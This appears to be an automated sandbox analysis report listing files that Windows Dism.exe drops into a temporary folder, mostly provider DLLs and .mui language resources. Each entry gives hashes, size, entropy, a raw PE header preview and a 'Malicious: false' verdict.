....@..@.rsrc...P$.......&..................@..@.reloc..............................@..B........................................................................................................................................................
........................................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 419744

Entropy (8bit): 5.812192349516279

Encrypted: false

SSDEEP: 6144:+1UKI6UPsR79lF78drusuZyZmZaZGbLrPfdx82K:+2KRR7tur9uZYKaIblq

MD5: 1CEF37AF7EC6DA526489CE13FD7681F4

SHA1: A0046B9BB757A0C8BE2722CDDC912E0726104FC1

SHA-256: B75891F43ED3D0F642FAEC86C576337ABC035A18F232D4BC2ECAF9E1AACB672D

SHA-512: 3BEE14779E4D76FF218E12D5B935C5E0EC0A355E8EACEDF02241DFB1842844A6B6D20A98BC9196E0730F6ACE73CE5999F878E5081FD1918D71B9F2C2DCD7887
3

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>.._..._..._...'..._...;..._...;..._..._...^...;..._...;..._...;..._...;..._...;i.._...;...
_..Rich._..........PE..d....t.Y..........",.....N................................................................`A.........................................|......l}..0....0...O...........F...!.............T................... ~..(...0`....
..........H~.......{..@....................text.../L.......N.................. ..`.rdata...2...`...4...R..............@..@.data...<P.......H..................@....pdata..............................@..@.didat....... ....
..................@....rsrc....O...0...P..................@..@.reloc...............>..............@..B..........................................................................................................................................
..............................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismHost.exe

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismProv.dll

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DmiProvider.dll

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\FfuProvider.dll
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Category: dropped

Size (bytes): 579584

Entropy (8bit): 6.1933025034666915

Encrypted: false

SSDEEP: 6144:MYNSMsdQ2UspXYCZ5irA0EwNb+rdPNbe0UoFq7HaFy7I0bRGjPv+:xWTppXp5irAzrdPNjUU+aFyg

MD5: 2D833321D46AA24574CC44B8404E3D9B

SHA1: 2C9B0DFDC861C88C1979C890965980422C02863A

SHA-256: 37DEEE3078B0A26C719BBB0690A88FFEA013077F1E4DC90379FFAA2A59A9CC5A

SHA-512: EF50224B12EDBDB675C11081FA2E5207DC9229F93563F62B3A6B82693C31A3B4B876D2C87964762037AD90BEC7D96F751A27BCED1331113F918785CF608499C4

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........bA.1A.1A.1H..1u.1...0C.1...0R.1A.1..1...0D.1...0M.1...0@.1.
..0..1..o1@.1...0@.1RichA.1................PE..d...&.6...........",.........$......@........................................ ............`A.........................................#.......$...........'......\1..................@j.
.T...................8...(...0...............`...X...H .......................text...x........................... ..`.rdata..&o.......p..................@..@.data...$I...@...B...,..............@....pdata..\1.......2...n...........
...@..@.didat..............................@....rsrc....'.......(..................@..@.reloc..............................@..B.................................................................................................................
...............................................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 60832

Entropy (8bit): 5.802672274807949

Encrypted: false

SSDEEP: 1536:vwvzRxpxZkW9bKZm4wrNjFZiFzFUpGVP:vExpx6W9bK8NjniFzFsGV

MD5: 559E29CD253437916D691CC6F9C378E8

SHA1: F32726BAB3A675B9F9269810716EDA343BF5C00A

SHA-256: D93F258D6FDFB9B0E1FE9333C3C4EE5E53E2103BDEF49934D1E1D142B965DF66

SHA-512: 2701F6E7D1BF1978A0AA8581DE45BD5E16BD68C40A1633A26C62CB77600FDB24C9AE588A6DE68EE20060D422174EC00A5F623CBCC12E1341FB3DC51E71E082
29

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Iww.(.$.(.$.(.$.P.$.(.$.L.%.(.$.L.%.(.$.(.$.(.$.L.%.(.$.L.%.(.$.L.%.
(.$.L.%.(.$.L.$.(.$.L.%.(.$Rich.(.$........PE..d.....p ..........",.....d...l.......^....................................... ............`A........................................ ..........................D........!..............T............
................................................................text....b.......d.................. ..`.rdata..nG.......H...h..............@..@.data...(...........................@....pdata..D...........................@..@.rsrc..
.............................@..@.reloc..............................@..B.................................................................................................................................................................................
...............................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 102816

Entropy (8bit): 5.928686538978393

Encrypted: false

SSDEEP: 1536:WX0QZ7lBgDDbABTTbRjQYnwBG+pIjhqXoy0tHgcB/LXzI/lPn:g7D+4FxgBG+0Coy2HgcNvI/l

MD5: B709B8C7A005ABF044707E37B3A1BA9F

SHA1: 0F12C638CDA4C0A3882DDD064CA40D4886472900

SHA-256: 9D06974D394E6E7737135150F4B3571EA2889C1E1BCED78256B540C30AFAEA69

SHA-512: 888F78C432B19AA92170D61D97C821AD15D05544A8A4FE27B93D0C273D03825401AA9E383BCB591C9B90493C7E74EDDF6BA380F4EAE1844D0ED94C000120E2E
3

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Z..............>......................].................................R............Rich
............................PE..d....4.|..........",................P...............................................n.....`A.........................................A.......B.......................p...!......p...`...T.................................
..............8............................text............................... ..`.rdata...r.......t..................@..@.data........`.......B..............@....pdata...............R..............@..@.rsrc................^......
........@..@.reloc..p............l..............@..B......................................................................................................................................................................................................
..........................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: modified

Size (bytes): 59288

Entropy (8bit): 5.756918143308256

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\FolderProvider.dll

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\GenericProvider.dll

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\IBSProvider.dll
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Encrypted: false

SSDEEP: 768:4VSjE4VMQjRSbWTNTAPZ5oUxUdTveDSLys/qnEO51ymDj/nVAvJ26T71P+g4V:bIgjRSbxyxNvemVq7CYj/VAvJ9Pn4V

MD5: A962C955A7D4C88D314EF1D50C5DF166

SHA1: 4CACF4E959A126D98337B785199F03AC7EBC51E1

SHA-256: F753C22BB7BB96BC0CD60F014A3A0DDB51F481FD7463D115BF4AD424BC9B19C7

SHA-512: DEC9A8F5DC1F55312F25EEE52E7083D050514FE7CED02B852DB551F5229AD745A590A874B8EAFD6C146C2EF12A4656CE26D06FF490F0BDACEFDE36545F2784
FC

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................................................&..........Rich....................
.......PE..d...Z.7W..........",.....Z...n.......U....................................................`A............................................................................!......P... ...T...........................pw..............px..........
.....................text....X.......Z.................. ..`.rdata...C...p...D...^..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@
.reloc..P...........................@..B............................................................................................................................................................................................................................
............................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18432

Entropy (8bit): 3.571109586515512

Encrypted: false

SSDEEP: 192:tjDHbtBtJt5eNxutrtutAtq/eCk6tf6/SMoLbsEuWf+WK:t/rvpMyplCbstWf+WK

MD5: 277703C1A13A9032A74F9BFC1E6ABB08

SHA1: F6AF7C91DECD898C691C76E78A28AD957C8F807A

SHA-256: 5309A153462435575E3B6E4C9DEF2EF34144DCA755DE83725F31980D5BD1F884

SHA-512: 42C820AF788B0EE48C2E57E3B78D741F35BC483D4409D1DBD7C1F73C4392A06AB625F3BCBD9D33048BC145FF49477BFBF277E9F895EFACBD830301F34ADEE3
6F

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......F...............................................p............@.......................................... ..lB..............................8............................................................................rdata......................
........@..@.rsrc....P... ...D..................@..@.......p........T...8...8..........p........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....!...@...rsrc$02.... ....1.!."..Z.....
...#..O...W...p.....................................................................................................................................................................................................................................................
...................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 8192

Entropy (8bit): 3.4202027780547977

Encrypted: false

SSDEEP: 192:V/Akc8dT8EC1y/vYsCAFdUTFLrNmAYKkA48UGtmWxKWs:XtsRbMWxKWs

MD5: 8A40FEE4837E31BA15D22AE1624299B5

SHA1: E66A5EA1C4A168505BAD399992068FBC7E637B6B

SHA-256: 698391F20F66680DA993540562D5D942C12D2402220FB76DAF554CADAC73A1DF

SHA-512: 15484F91781DD3CB72B582A0FFB861922FD17ECB19DC855DFAD7AE9E448B72F48A8522B4FF7F7DD202D94C99F9ECF4FF946DABB80F0A4EEBF612DE7E76E755
BB

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................@.......H....@.......................................... ..................................8............................................................................rdata......................
........@..@.rsrc.... ... ......................@..@.....O.)........T...8...8........O.)........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....!.......rsrc$02.... ....U..+3.`..r.a.
..V..L..J.8...O.)...................................................................................................................................................................................................................................................
.....................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 51200

Entropy (8bit): 3.520228743907897

Encrypted: false

SSDEEP: 768:U34QoxGHbXqhu7dCJ6zoRO+WfOLhZoLCKv:U34QoxGHb6huJCJ6zoRO+WfguCKv

MD5: 12260AE64F7D6B7F843EDF942D0A870D

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\AppxProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\AssocProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\CbsProvider.dll.mui
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SHA1: 7570908CC323683AB9D588C397DC949F7E84DF7F

SHA-256: 263740DA64E549C98D52812C8806133C5247C27032CA1D8728B6613CE17B3628

SHA-512: 320FB5773551AE65DD9E496482858DA78892F8D25D35ED262E279A45DA4D781D8E22B2662138E6E39D5654CD8F8B8066F8DE1434FA804851A7FBA1289727E2AA

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
...............................................................V....@.......................................... ..H...............................8............................................................................rdata......................
........@..@.rsrc........ ......................@..@.....P..........T...8...8........P..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....$..x....rsrc$02.... ...c.#.I..(U[..[d
k.B.6.bi.j....P.....................................................................................................................................................................................................................................................
.....................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 12800

Entropy (8bit): 3.560371254963282

Encrypted: false

SSDEEP: 192:mfaDFvzNGKykEBaZbeNRZ/35JAdN6riB72EGmkWw7W4:355tykEB0beNRZ/35JAd4OB7hGVWw7W4

MD5: 5251B321D27477E89CEEDA2F3CAE91FB

SHA1: 287D6FA5A3C6FA44C69768C671725D94F25BCD51

SHA-256: 9FE99D83C32AD7C2EDC8CE58D8EF2FF86354F5B3210D395536E2C99D1F02CEAC

SHA-512: 25928B4B048943048FEE901C514F8D389800FDC37C61BD27A50445BCBFE4B1357BEDA445A83B7294E06C94FAB0247FBD17AEC5E85431B30747BB9BC0BD7F973
4

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......0...............................................P.......r....@.......................................... ...-..............................8............................................................................rdata......................
........@..@.rsrc....0... ......................@..@......2.........T...8...8.........2.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....!..X,...rsrc$02.... ....y..{... W.8.Z
.Q..X`..^ ..2.......................................................................................................................................................................................................................................................
..................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 7680

Entropy (8bit): 3.667624769541408

Encrypted: false

SSDEEP: 96:8EsWaiiiWwdwCg/PCpQcBK8Cq9owa0EWsOWwg:7pFuWsOWP

MD5: B82FA41F828CE4A01C53CC55C936ECE0

SHA1: F88F8A47545DA92A30F5349C7C2113FBD01CF3A3

SHA-256: CCA14FF0D4548855FCEA3E9C67BF2439006F2C1C8CCF4B36F8EBDE5409A1FC69

SHA-512: 99CD8804B7FA17A93280AC8441E39CE64C804F735A2487C425D8C00F8BECEAC7A08AA835D6ADA885202DB5396B126DE5EE3E6AEF89F5BAFF20ABE3A45B0E9
A28

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................@............@.......................................... ..................................8............................................................................rdata......................
........@..@.rsrc.... ... ......................@..@...............T...8...8..................$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... .....hTw'...<..^..!
eY....X.............................................................................................................................................................................................................................................................
..................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 2560

Entropy (8bit): 3.3363160913927667

Encrypted: false

SSDEEP: 24:eH1GSlTAQo4ghCAuf2DVmIZW0LCYNtUFjc35WWdPPYPNx3:yOQopAzIIIZW4Cmt0jy5WwHgB

MD5: C877EFC933689C6F3DE3D103C6C2BD71

SHA1: 5C9A8D47A6F58F0FE7AEDD966EB6459C707439E0

SHA-256: AFBE6E9729083ADA79DFB47F0D1ACB02B4C25F32F314260063441F0C17761C35

SHA-512: DA8E59192A85134FEC8D8EBD06579A729E122DD4A2BCABFA0A48B3570DB79787894EC69FE252D083518EA77135D372E1325B27763C35640F3DA60AAE8A039C8
6

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\CompatProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\DismCore.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\DismProv.dll.mui
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Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0......(.....@.......................................... ..d...............................8............................................................................rdata......................
........@..@.rsrc........ ......................@..@....l...........T...8...8.......l...........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... .......rsrc$02.... ...H.CW..O......'
.#.....s6...El......................................................................................................................................................................................................................................................
.....................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 17920

Entropy (8bit): 3.571696357549788

Encrypted: false

SSDEEP: 192:923q+0W6eHJr6dVD4hN2J63092HdHUcbR1b0apWuHW6vWS:g6eHJr6dVwH3J9bbvbHpfHW6vWS

MD5: 957FD56B0D279AB361DEB9B1D16E1304

SHA1: 966A4F6B02398E0EDACCA2F6074524E8821A4DD4

SHA-256: 931051F847B6F98E4BBD3572DAD6AAC5CAAAF549936BE72D1FAF728B5A9B3060

SHA-512: 2AD71724AF2D07ABC7B40DA65BDDFD5233E2180DE52CF8B7F30147B012D3FB24728EE2112E51D0BDB5ED0C350ED11B5BDAC9D4CAA7C43EA6329B1977BF146
EB7

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......D...............................................p............@.......................................... ...@..............................8............................................................................rdata......................
........@..@.rsrc....P... ...B..................@..@....k..........T...8...8.......k..........$...................8....rdata..8...x....rdata$zzzdbg.... ..`....rsrc$01....`"..p>...rsrc$02.... ...8P....*../.P:..~
..y..m.-.N.k........................................................................................................................................................................................................................................................
..................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 8704

Entropy (8bit): 3.6124953006935736

Encrypted: false

SSDEEP: 96:v4ofPXHLnrc+5H3np69/5GHDUDllJzoKwO8hZOaeF0z+ZN0EWTCWwL:go7nI+5XnEhGADlDz5Xocb1TWTCWU

MD5: D495A2EAB7870DE3E3B6632FC2B575C8

SHA1: 0F95AF316881057B914AA5780F6E17C2E0DDFC1F

SHA-256: D51EA7D4081840A297F15EB0F09013C78AA7BA1613CDBE9910E47B3FFF68AE52

SHA-512: B880F2258DB29F584C7369AA4E52E518305197B792CF18736A4F01137EFA7AF3FB261116B68D5F268F5997EEAC1CEC7A56364C8A8306B279B99DDD7E1B580924

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
....... ...............................................@............@.......................................... ..................................8............................................................................rdata......................
........@..@.rsrc.... ... ......................@..@....g.yn........T...8...8.......g.yn........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....!..x....rsrc$02.... ....o..{......5..
.t.s.#.....`2g.yn...................................................................................................................................................................................................................................................
.....................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 2560

Entropy (8bit): 3.270960305375294

Encrypted: false

SSDEEP: 24:eH1GSlToE76CM5HXyBtoeIZW0ibbNtB33qc35WWdPPYPNxm:y2o5UybRIZWxttB3qy5WwHgw

MD5: 5D050BB669E6D37793F53C76609A4B55

SHA1: 6D553C6B93645A09473805ECD9761F3A8FB59F09

SHA-256: CBD821AA2BF1EB0231DA7114743F8021C6EB2487062B4CF2D43707364C099FEB

SHA-512: 97F5AC9DFBFE744DBC1277912AB0B877E008A67425E5D3194F3E0A46B514A883353EA5CAD31AD1A4105258804834AC498CD2A95FE04137124755EADFC15FF08
C

Malicious: false

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\DmiProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\FfuProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\FolderProvider.dll.mui
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Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0............@.......................................... ..................................8............................................................................rdata..............................@.
.@.rsrc........ ......................@..@.....f. ........T...8...8........f. ........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... .......rsrc$02.... ...5-..M...l...lk.G.V... .${....f. ..
..............................................................................................................................................................................................................................................................................
........................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 3072

Entropy (8bit): 3.6171863036576584

Encrypted: false

SSDEEP: 24:eH1GSlTq8ESzFWCqR+Mk1ZvSErtsSIZW09XNtzHLnE9RU35WWdPPYPNxb:yAYFdF/iUtBIZWO9t8bK5WwHgV

MD5: FE1C662534BD02B1083DB5C0F2604F81

SHA1: C041A4A85AF84877E130E92AFCB644EAF6501394

SHA-256: B094A19B9228EC600501585FF41EE83D1F68D11050D9E0FBB1A30D64AE3C8170

SHA-512: 9CD3BDF03D9CCB8DF46F09988456E05C9F76B53C275A6A92113D7E34A1A31126AB68C6DDA8588968C843A3D0F6899992DA80D74C890B676FFF017931F6A6F2B1

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0.......n....@.......................................... ..................................8............................................................................rdata..............................@.
.@.rsrc........ ......................@..@......=!........T...8...8.........=!........$...................8....rdata..8...x....rdata$zzzdbg.... .. ....rsrc$01.... !.......rsrc$02.... .....,...D.&={T....b+.k.;\R
B!..=!..............................................................................................................................................................................................................................................................
..........................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 2560

Entropy (8bit): 3.338015801732673

Encrypted: false

SSDEEP: 24:eH1GSlTwZ7/vXWCqzoP2QtpKIZW0x0Ntfq4oU35WWdPPYPNx5:yaZrvd/P2QtwIZWiitvoK5WwHgD

MD5: C39A309F2EF8C1E820124937E7349549

SHA1: 8D5514766FCF547A559FF531D3060C9614FAD925

SHA-256: 45CAF10A8ADAC6B7E59F71FDB9A4A47CD1CEB58417F1BAE1BCB71E1DF212C753

SHA-512: 3D049E4C605BCE02117007DE705C797855ED6C638C037F6BBF8391A8DA10498BB3C2BE88C6B40F757E6FA264D858F5A2A9C90E9542BDA3B2BE7943E43B39C0E
8

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0............@.......................................... ..p...............................8............................................................................rdata......................
........@..@.rsrc........ ......................@..@.....c4{........T...8...8........c4{........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... .......rsrc$02.... .....1..p...g.....7......1.
..c4{.........................................................................................................................................................................................................................................................................
...............................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18432

Entropy (8bit): 3.6326523402773336

Encrypted: false

SSDEEP: 384:TEPsMTPNW8mc8jRd9kPQ/ih6uXJeEYWElWo:TEPsAFW8l8jr9L/ihcEu1

MD5: 714CD15A7154E29B557B2CCAC7465846

SHA1: C67C197370E6A4E29F76A01088C11583D56DC2B2

SHA-256: B0FBEBA5D2447D1A08848D186DCCF1ED8F4937A7486D8604BB835FB62ACE6B46

SHA-512: 1E2B77720AAC074C23296E8E1B38EEFC1DA7EF8DB832856852149492BFEC8F12970D63B53A2E23C02E584BDFBBDF3A43BD71B313FE0E2FBAE603B9FAD565A
D78

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......F...............................................p......Ep....@.......................................... ..XB..............................8............................................................................rdata......................
........@..@.rsrc....P... ...D..................@..@................T...8...8...................$...................8....rdata..8...x....rdata$zzzdbg.... .. ....rsrc$01.... #..p?...rsrc$02.... ....N0.T(Y...Z.G.
D.M.l...0.:.........................................................................................................................................................................................................................................................
..................................................................

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\GenericProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\IBSProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\ImagingProvider.dll.mui
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Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 27136

Entropy (8bit): 3.4796600663919914

Encrypted: false

SSDEEP: 192:9LvXnvuHzYr9Hw2PWJh0nCI2rZvAp2ZHwdglGaZ5XJVFLdcgUrWLD/QWQ0QdQzWM:9L/n6MbnSRGClJVFa0bQWQ0QdQzWi4W3

MD5: C1762AF39235D9E1D3770A9F25B9A748

SHA1: 45FA243AE646086A3BCA6DF84BE319A93B3029DE

SHA-256: EC52F6D3D9098BC134D9530FC2CE16D9CEB35D77C60B7DDF4B6803C2AB84F3CD

SHA-512: 64D1E046297CDAAA094E2DD53B23A6BCF8C001E281CDF53F8D88138BF16563F34EA95D122E87FA7C92534DDF4B187D9AA61A28B4DCB40766EED9A7BE74D17D
14

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......h............................................................@.......................................... ...d..............................8............................................................................rdata......................
........@..@.rsrc....p... ...f..................@..@.....!..........T...8...8........!..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....'..@]...rsrc$02.... .....x.......Z67.
B....._.K..S..!.....................................................................................................................................................................................................................................................
.....................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 6144

Entropy (8bit): 3.5668182130740442

Encrypted: false

SSDEEP: 96:KXM6czix6RXToVSHvoXBD3LXnvoJnoN6yvG8vI4EWerWwI:kMniIh0IHAXB7DnAJoN6yO8wRWerWX

MD5: D47DC801C7423590C9483CA8366BC455

SHA1: E1CF34648546352CBF5C4B029CD313F5948B95A7

SHA-256: B9D538312EF7D68CD731539E45FF695962427487F1D8C4B9D1FBF97E3AAA3491

SHA-512: 30DE09B39700FF8E1A3DAA15318CCB37A77D64909FDBB531C7897E1E933A8B0062D27160628B5A1EB7A2BCDBA0166419BE61EEDD3A7B98FB866443DB2FD5C6
00

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................@......~.....@.......................................... ..................................8............................................................................rdata......................
........@..@.rsrc.... ... ......................@..@....m.a.........T...8...8.......m.a.........$...................8....rdata..8...x....rdata$zzzdbg.... ..@....rsrc$01....@!.......rsrc$02.... ...T...g..~......
.^,v.+aXI....m.a....................................................................................................................................................................................................................................................
.....................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 15872

Entropy (8bit): 3.636784310908035

Encrypted: false

SSDEEP: 96:ZzAa2VDHWUt1qaoe3em2G6BHWPrem2vopuLcvy6em2bxVoa/b1mA5ICHH00H01pv:ZSDzRXQdoa/5ICH/AbQZL8ZKBWToWP

MD5: A11697F76D83346ADCFB903A856749A9

SHA1: 74A2374DC52F5B894517F1B36A3798BB4FE934A9

SHA-256: FD39F796A82198F1E2B7D31FBA4E74DE2D8CABC723DA941491E7E3C7CA7AEE29

SHA-512: 26BFB93D01F09BF76DA99578615C75B535526097F711AB331729D0921EA63F5BE52B1A127AE46DA81FAF30684506D74B67E22F499EE06C9EA6CA82C51D51E01F

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......<...............................................`......G.....@.......................................... ...8..............................8............................................................................rdata......................
........@..@.rsrc....@... ...:..................@..@................T...8...8...................$...................8....rdata..8...x....rdata$zzzdbg.... ..`....rsrc$01....`"...5...rsrc$02.... ......O.O....8...
a...D&.f..4.........................................................................................................................................................................................................................................................
...................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\IntlProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\LogProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\MsiProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\OSProvider.dll.mui
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Category: dropped

Size (bytes): 3072

Entropy (8bit): 3.5543783476994175

Encrypted: false

SSDEEP: 24:eH1GSlTLG5mPCJph/6/iWomRKgTjk6IZW0ZmbNtq0Tcc35WWdPPYPNxN:y0mqJphiToOtRIZW6Utqucy5WwHgX

MD5: D19946EF9A23C7278AA315ACBA19A23A

SHA1: C69ECCD3DAB47E2CF85EFF01DC6A4092F62BAE23

SHA-256: C74682320F2D0F07A9C86C05D60DE788E1FE2F7CCD92060553BFDC75F5E46CFC

SHA-512: 157D592A1E445DF93B59F3EA77D4148C9643C3C174CC4AEA7852C3D42CE2A2E6876D58351B5CD730A23C9213BA4228E20679B5F165FD7824C9F7DB09D77B21D
C

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0............@.......................................... ..................................8............................................................................rdata..............................@.
.@.rsrc........ ......................@..@....F..'........T...8...8.......F..'........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... .......rsrc$02.... ....D....NU.T.26E....Jk..D.
.0F..'........................................................................................................................................................................................................................................................................
................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 2560

Entropy (8bit): 3.2248976892497487

Encrypted: false

SSDEEP: 24:eH1GSlT3A0AUiCSw0tgcOIZW0iWNtPZKc35WWdPPYPNxS:yPAUhSwUUIZWxItRKy5WwHgM

MD5: DA755ECA926F1D11139FF8247E7C2491

SHA1: 12510E8FAC588ECCAE96F0A09E3CFCBABE49D633

SHA-256: FAA6C8DBCFA11ADDB7B067E224C776ACE282000DE3AC61C19E48BB36D7F9B469

SHA-512: 3C8F1A0BC959341F4537656F57F5681D0F65FBE9C8D70F25EAEB2DF92700CF8565A0EC3FC481C080FB74F70DCAC76DBC91E23A23C57AF004FF3B7943A36E28E
F

Malicious: false

